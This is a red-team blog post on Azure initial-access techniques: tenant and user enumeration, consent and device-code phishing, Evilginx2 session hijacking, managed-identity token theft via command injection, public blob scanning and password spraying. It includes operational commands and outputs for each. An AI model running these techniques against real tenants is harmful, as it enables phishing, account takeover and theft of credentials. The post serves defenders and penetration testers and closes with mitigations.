Skip to content
All posts

Mapping attack surface for Azure initial access

Join us in this blog post as we explore various methods that threat actors commonly use to gain initial access to Azure.

What is initial access? 


In Microsoft Azure and other cloud environments, getting initial access as a red teamer can involve exploiting vulnerabilities in hosted applications, leveraging misconfigurations, or leveraging social engineering to break into an Azure and Microsoft 365 environment. Acquiring that critical foothold is often one of the trickiest parts of non-assume-breach scenarios, and techniques can vary depending on skillset, available tooling and the security posture of the target environment (as well as the threat actor techniques that we are looking to replicate).

Understanding these attack vectors is important for offensive security professionals who regularly test Azure environments, and arguably even more so for defenders who are tasked with mapping and reducing the human and infrastructure attack surface.

Unauthenticated mapping of the attack surface 🗺️

Unauthenticated enumeration lays the groundwork for many initial access tactics in Azure, since attackers need to gather information about the target tenant before executing one of the attacks covered in this post. Before touching on common initial access vectors, we will briefly discuss common techniques used for unauthenticated enumeration of Azure tenants.

Tenant enumeration


Attackers can use public services (e.g. OAuth endpoints) to extract the tenant ID by providing a valid domain name or email address. Moreover, there are many web sites that allow this kind of enumeration, such as aadinternals.com and whatismytenantid.com. Note that these websites are community-run services and should not be used to carry out brute force enumeration.

Open-source tools like AADInternals have some very useful cmdlets for unauthenticated access of Azure tenants that can reveal valuable information to attackers, such as Tenant Information and Domain Federation Discovery.

Attackers can also collect domain names linked to the Azure tenant using methods like WHOIS lookups and SSL certificate analysis to identify subdomains or external services. This not only gives them a more comprehensive view of the target tenant but also enables them to launch more convincing phishing campaigns.

User enumeration


User enumeration is a prerequisite for many attacks, such as phishing or password spraying, since threat actors (and those simulating them to test the blue team) must acquire valid email addresses before executing those attacks.

Open-source intelligence (OSINT) for employee enumeration is often the first step to identifying valid email addresses for non-assume breach assessments. Attackers gather publicly available information, such as employee names, email addresses, and job titles, through sources like LinkedIn, company websites, social media and online directories.

Knowing their names may also allow attackers to target code repositories and forum profiles of employees to uncover exposed sensitive data, or to search for leaked credentials that could still be used to authenticate to target services.

After identifying employee names, the next step is to figure out the proper SignInName format. Most organizations use a standard convention for all employees, such as FirstName.LastName (john.doe@company.com) or FirstInitialLastName (jdoe@company.com). Attackers can utilize open-source tools such as namemash.py to generate multiple SignInName variations based on common conventions, after providing the full name of one or multiple employees, as shown in the example below:

PS C:\AzureTools\o365spray> type .\names.txt
Marios Pappas

PS C:\AzureTools\o365spray> python.exe .\namemash.py .\names.txt
mariospappas
pappasmarios
marios.pappas
pappas.marios
pappasm
mpappas
pmarios
m.pappas
p.marios
marios
pappas

 

Attackers then can use tools such as o365spray to identify valid users in the target tenant.

 

PS C:\AzureTools\o365spray> python.exe .\o365spray.py --enum -U .\signinnames.txt -d target.org

            *** O365 Spray ***

>----------------------------------------<

   > version        :  3.0.4
   > domain         :  target.org
   > enum           :  True
   > userfile       :  .\signinnames.txt
   > validate_module:  getuserrealm
   > enum_module    :  oauth2
   > rate           :  10 threads
   > poolsize       :  10000
   > timeout        :  25 seconds
   > start          :  2024-08-20 21:00:47

>----------------------------------------<

[2024-08-20 21:00:47,982] info | Validating: target.org
[2024-08-20 21:00:49,480] info | [VALID] The following domain appears to be using O365: target.org
[2024-08-20 21:00:49,489] info | Running user enumeration against 11 potential users
[2024-08-20 21:00:51,035] info | [VALID] mpappas@target.org


The functionality of those tools is based on probing Azure login pages and provides attackers with a method to determine whether a username exists or not based on error messages (e.g., "invalid username" vs. "incorrect password"). It's worth noting that Microsoft can sometimes change the errors codes that it returns, leading to certain techniques in user enumeration tools becoming less reliable until they are updated to use the current error codes.

Application enumeration

 

Application enumeration involves identifying and gathering information about applications hosted in Azure App Services (such as Function and Web Apps) or applications hosted on other Azure resources such as virtual machines. Attackers can probe Azure endpoints to discover such services using tools such as AzSubEnum. It should be noted that we would need to verify company ownership of any identified resources, as it is not guaranteed that they belong to the target company.

PS C:\AzureTools\AzSubEnum> python.exe .\azsubenum.py -b targetcorp -p .\permutations.txt -t 15

Discovered Subdomains:

Storage Accounts - Queues:
------------------------------------------------
targetcorp.queue.core.windows.net
targetcorp.queue.core.windows.net

Storage Accounts - Blobs:
-----------------------------------------------
targetcorp.blob.core.windows.net
targetcorp.blob.core.windows.net

App Services - Management:
-----------------------------------------------
targetcorp-portal.scm.azurewebsites.net
targetcorp-hr.scm.azurewebsites.net

App Services:
-------------------------------------------
targetcorp-portal.azurewebsites.net
targetcorp-hr.azurewebsites.net

 

Common Azure initial access methods 


The diagram below serves as a quick reference for common ways to gain access to an Azure tenant from a non-credentialed starting point.




Employee phishing 🎣


Employees are often considered the weakest link in cybersecurity due to being susceptible to social engineering attacks. End users can be tricked through various means into divulging sensitive information. However, our focus here is on credential theft.

Illicit consent grant


In an illicit consent grant attack, the attacker creates an Azure-registered application that requests access to data such as contact information, email, or documents. The attacker then tricks an end user into granting that application consent to access their data either through a phishing attack, or by injecting illicit code into a trusted website. After the illicit application is granted consent, it has access to data in the privileged context of the targeted user. Note that if the user doesn't have permissions to access a specific resource, even if the malicious application defines it they will not get access.

Threat actors can register a custom domain in their own Azure tenant, create a multi-tenant application in it, and then use a subdomain that matches the target organization's domain to host this malicious application. This fake application should mimic a legitimate service that the target user interacts with on a regular basis. Threat actors commonly use website cloners to achieve that.

The attacker will then initiate a phishing campaign, sending emails or messages to potential victims, inviting them to log in or to authorize the malicious application. When users click on the phishing link, they are redirected to the attacker's malicious application, which presents an OAuth consent screen that looks legitimate. The screen requests permissions similar to those of the genuine application. Once consent is granted, the attacker receives an access token, which allows them to access the user’s resources, such as files, contacts, or other sensitive information.



Applications asking for too many permissions, especially ones that don’t align with their intended purpose should raise red flags to employees and security teams, and warn them of possible illicit grant content attacks targeting them. However, we know that this is unrealistic to expect end users to be this vigilant all the time. Common Microsoft Graph permissions used by such fake applications include:

User Profile Permissions:

  • User.Read: Sign in and read the user’s profile.
  • User.ReadBasic.All: Read the basic profiles of all users.
  • User.Read.All: Read all users' full profiles.
  • User.ReadWrite.All: Read and write all users' profiles.

Contacts Permissions:

  • Contacts.Read: Read the signed-in user’s contacts.
  • Contacts.ReadWrite: Read and write the signed-in user’s contacts.
  • Contacts.Read.All: Read all users' contacts.
  • Contacts.ReadWrite.All: Read and write all users' contacts.

Mail Permissions:

  • Mail.Read: Read the signed-in user's mail.
  • Mail.ReadWrite: Read and write the signed-in user's mail.
  • Mail.Send: Send mail as the signed-in user.
  • Mail.Read.All: Read all users' mail.
  • Mail.ReadWrite.All: Read and write all users' mail.

Calendar Permissions:

  • Calendars.Read: Read the signed-in user’s calendar.
  • Calendars.ReadWrite: Read and write the signed-in user’s calendar.
  • Calendars.Read.Shared: Read shared calendars.
  • Calendars.ReadWrite.Shared: Read and write shared calendars.
  • Calendars.Read.All: Read all users' calendars.

Files and OneDrive Permissions:

  • Files.Read: Read the signed-in user’s files.
  • Files.ReadWrite: Read and write the signed-in user’s files.
  • Files.Read.All: Read all users' files.
  • Files.ReadWrite.All: Read and write all users' files.

Social Media Permissions:

  • Notes.Read: Read the signed-in user’s OneNote notebooks.
  • Notes.ReadWrite: Read and write the signed-in user’s OneNote notebooks.
  • Notes.Read.All: Read all users' OneNote notebooks.

Directory Permissions:

  • Directory.Read.All: Read data in your organization's directory.
  • Directory.ReadWrite.All: Read and write data in your organization's directory.
  • Group.Read.All: Read all groups in your organization.
  • Group.ReadWrite.All: Read and write all groups in your organization.

Device Permissions:

  • Device.Read.All: Read all device information in your organization.
  • Device.ReadWrite.All: Read and write device information in your organization.


Device code phishing attack


One of the authentication flows of OAuth is the "device authorization grant". This specific flow is intended to allow input-constrained devices, such as headless terminals, smart TVs and printers to be authorized to Azure. Users are given a unique code and a link to visit a webpage in a browser or on a second device to enter the code to approve the login session on the first device.



This authorization flow can be seen in the diagram below.

 

A threat actor can leverage this method to execute a phishing attack on a target by persuading them to visit their authentication provider's website and input a code provided by the attacker, thus granting access to their account. 



An important aspect to keep in mind with device code phishing is that device codes expire after 15 minutes, so attackers need to successfully carry out their phishing campaign during that window of opportunity.

Email phishing attacks


Attackers can use sophisticated phishing frameworks, such as Evilginx2, to capture authentication requests. With Evilginx2 and other Adversary-in-The-Middle (AiTM) frameworks, the attacker creates a phishing link that directs the target to the Evilginx2 reverse-proxied login page. This link is often shared via email or messaging platforms. When the target user clicks the phishing link, the malicious domain resolves to the  Evilginx2 server. When they enter their credentials, Evilginx2 forwards these credentials on to the https://login.microsoftonline.com endpoint. Once the victim successfully logs in, Evilginx2 captures the authentication token (OAuth or SAML) and any session cookies. This allows the attacker to authenticate as the user without needing their password (although the user's password and OTP is captured as well).

Adversary-in-The-Middle attacks allow threat actors not only to phish credentials but completely hijack authenticated sessions, bypassing MFA restrictions entirely. We can use an Evilginx2 Microsoft 365 phishlet to launch facilitate the attack.

PS C:\AzureTools> evilginx2 -p C:\AzureTools\evilginx2\phishlets
: config domain attacker.threat
: config ip 10.10.10.10
: phishlets hostname o365 login.attacker.threat
: phishlets get-hosts o365



This initial access tactic can be explored in the Phished for Initial Access and Bypass Azure MFA with Evilginx hands-on labs.


App Services compromise 🌎



Azure App Services is a fully managed platform for building, deploying, and scaling web applications and services. It supports various programming languages, including .NET, PHP, Node.js, Python, and Java, allowing developers to create web apps, mobile backends, and RESTful APIs. Azure App Services (even serverless apps) can be vulnerable to a wide range of web application vulnerabilities such as Insecure Direct Object References (IDOR), SQL Injection, OS Command Injection, Server-Side Request Forgery (SSRF) and more.


Exploiting those vulnerabilities on public-facing Azure App Services, such as Web Apps or Function Apps, can provide threat actors with an opportunity to gain access to information, get code execution, and even steal access tokens if the resource has been configured with a Managed Identity. For example, an OS command injection vulnerability can be leveraged to access the IDENTITY_ENDPOINT and IDENTITY_HEADER environment variables that an attacker can use  the attacker can use to craft the request below and get tokens for the Managed Identity.


curl "$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/" -H "X-Identity-Header: $IDENTITY_HEADER"




This allows the attacker to authenticate and authorize to the Azure as that Managed Identity (which is a special kind of service principal), in order to further enumerate the tenant and potentially move laterally to other resources. We can authenticate using the gained access token with the PowerShell Az module as shown below. The AccountId parameter can be any arbitrary value, although it is recommended to name it in such a way that allows us to identify and manage multiple concurrent sessions.

$armtoken = 'eyJ0eXAi...b9zJ6I8wgA'
Connect-AzAccount -AccessToken $armtoken -AccountId <ANYTHING>


Organizations should always have their public-facing Azure App Services thoroughly audited for OWASP Top 10 Vulnerabilities since they provide an fruitful attack surface for threat actors looking to get an initial foothold in the target tenant.


Sensitive information in public blob containers


Azure Blob Storage is Microsoft's object storage solution for the cloud. Blob Storage is optimized for storing massive amounts of unstructured data.
A container organizes a set of blobs, similar to a directory in a file system. Containers have valid DNS names, as they form part of the unique URI (Uniform resource identifier) used to address the container or its blobs.

Blob containers that allow anonymous access could expose sensitive information such as credentials to attackers, giving them an initial foothold in the tenant. Often, these containers can be found storing unprotected files with sensitive information such as configuration files and various credentials such as SSH and API keys or passwords. Attackers can exploit this by scanning publicly accessible containers, retrieving the exposed data, and using it to authenticate to the tenant and get a foothold.

Tools such as MicroBurst or AzSubEnum can be used to scan for containers that allow anonymous access.

PS C:\AzureTools\AzSubEnum> python.exe .\azsubenum.py -b targetorg -p .\permutations.txt -t 15 --blobsenum -bt 15

<snip>

Checking for publicly accessible blob containers...
[+] Publicly accessible container found: https://targetorg.blob.core.windows.net/files?restype=container&comp=list
    (To access the Blob Container through the Azure Storage Explorer use the following URL: https://targetorg.blob.core.windows.net/files)
[+] Blob contents:
    - clients.csv
    - uploadpage.php


In the example above, attackers could leverage access to exposed source code files to perform a source code review and identify vulnerabilities that would have been very difficult if not impossible to identify without this access. Threat actors can then attempt to leverage the vulnerability to gain additional information or to steal managed identity access tokens.


This initial access tactic can be explored in the Azure Blob Container to Initial Access lab.

 

Inadvertent disclosure

Inadvertent disclosure occurs when sensitive information, such as credentials or Azure Storage SAS keys, are mistakenly shared on public platforms like GitHub, Stack Overflow or online forums. Threat actors actively scan these platforms for exposed secrets, which they can use to gain unauthorized access to resources in Azure and Microsoft 365. Avoiding sharing sensitive information publicly and regularly scanning for such leaks is crucial in ensuring that organizations maintain a secure posture. When a leak is detected, it should be assumed that a breach has already occurred, so any credentials (password and tokens) should be immediately rotation, logs should be investigated and a potential blast radius should be established.

A good case study can be found here where Azure secrets were exposed through employees' personal GitHub repositories.

This Initial Access tactic can be explored further in the lab Abuse Dynamic Groups in Entra ID for Privilege Escalation.

 

Password spraying

Password spraying is a common attack technique used to gain initial access to Azure environments by exploiting weak or commonly used passwords. Instead of targeting a single user account with multiple password attempts (credential stuffing), attackers try common passwords across many different accounts to reduce the likelihood of accounts locking out. This can be particularly effective against accounts that lack multi-factor authentication (MFA) or have weak password policies. Once an attacker successfully guesses a password, they can gain access to the tenant.

PS /home/pri3st/Desktop/Training/PwnedLabs/MCRTA/MicroBurst/MSOLSpray> Invoke-MSOLSpray -UserList ./validemails.txt -Password 'Password123!'
[*] There are 4 total users to spray.
[*] Now spraying Microsoft Online.
[*] Current date and time: 08/17/2024 20:36:21
[*] SUCCESS! koni.danillo@breached.org: Password123!                   
[*] WARNING! The user yamamoto.sota@breached.org doesn't exist.
[*] WARNING! The user john.doe@breached.org doesn't exist.
[*] WARNING! The user takis.tsoukalas@breached.org doesn't exist.


Discovering the email convention of the target tenant is a key prerequisite since valid usernames are required to execute a password spraying attack. Predictable naming formats, such as firstname.lastname@domain.com or userID@domain.com, make it easier for threat actors to enumerate potential accounts, with possible employee names gathered from OSINT operations.

Attackers can also leverage tools such as CUPP (Common User Passwords Profiler) to gather personal information about a specific employee, including their name, hobbies, and birth dates from social media or public sources. This data is then used to generate a custom list of likely passwords based on the individual’s habits and interests. By use this personal information, attackers can increase their chances of success.

As a defense against password spraying, organizations should enforce strong password policies and enforce MFA for all employee accounts. Security awareness training should also be implemented for all employees, in order to reduce the likelihood of bad security practises and poor online trust decisions.

This Initial Access tactic can be explored in the Azure Recon to Foothold and Profit lab.

 

Leaked credentials

Threat actors often gather stolen credentials from past data breaches and attempt to re-use them with Microsoft services such as Azure and Microsoft 365, hoping the same username-password combination is in use. If password reuse is prevalent in a business, and multi-factor authentication (MFA) isn’t enforced, this increases the chances of threat actors getting access to company resources.

 

Mitigation Tactics ⚡️


Reducing the attack surface for unauthenticated attackers and preventing them from gaining the crucial initial foothold in an Azure tenant is not a simple task. It requires a multi-layered approach to ensure that there are always safety mechanisms in case one layer of security fails. Common suggestions to deal with the mentioned attacks are the following:

  • Enforcement of strong password policies
  • Enforce multi-factor authentication
  • Monitor and audit sign-in and access logs
  • Use conditional access rules to restrict access to trusted networks and devices
  • Perpetually scan public repositories and forums for exposed credentials and secrets (GitHub and AWS also do a great job with scanning repositories for leaked credentials)
  • Educate employees on social engineering risks, password hygiene, and the dangers of publicly sharing personal or corporate information

 

Wrap-up


This article demonstrated some of the most common attack vectors that threat actors use to gain an initial foothold in the Microsoft cloud. Understanding these tactics is crucial for defenders to implement effective security measures, as well as penetration testers and auditors to make sure they leave no stone unturned while evaluating the security posture of their clients.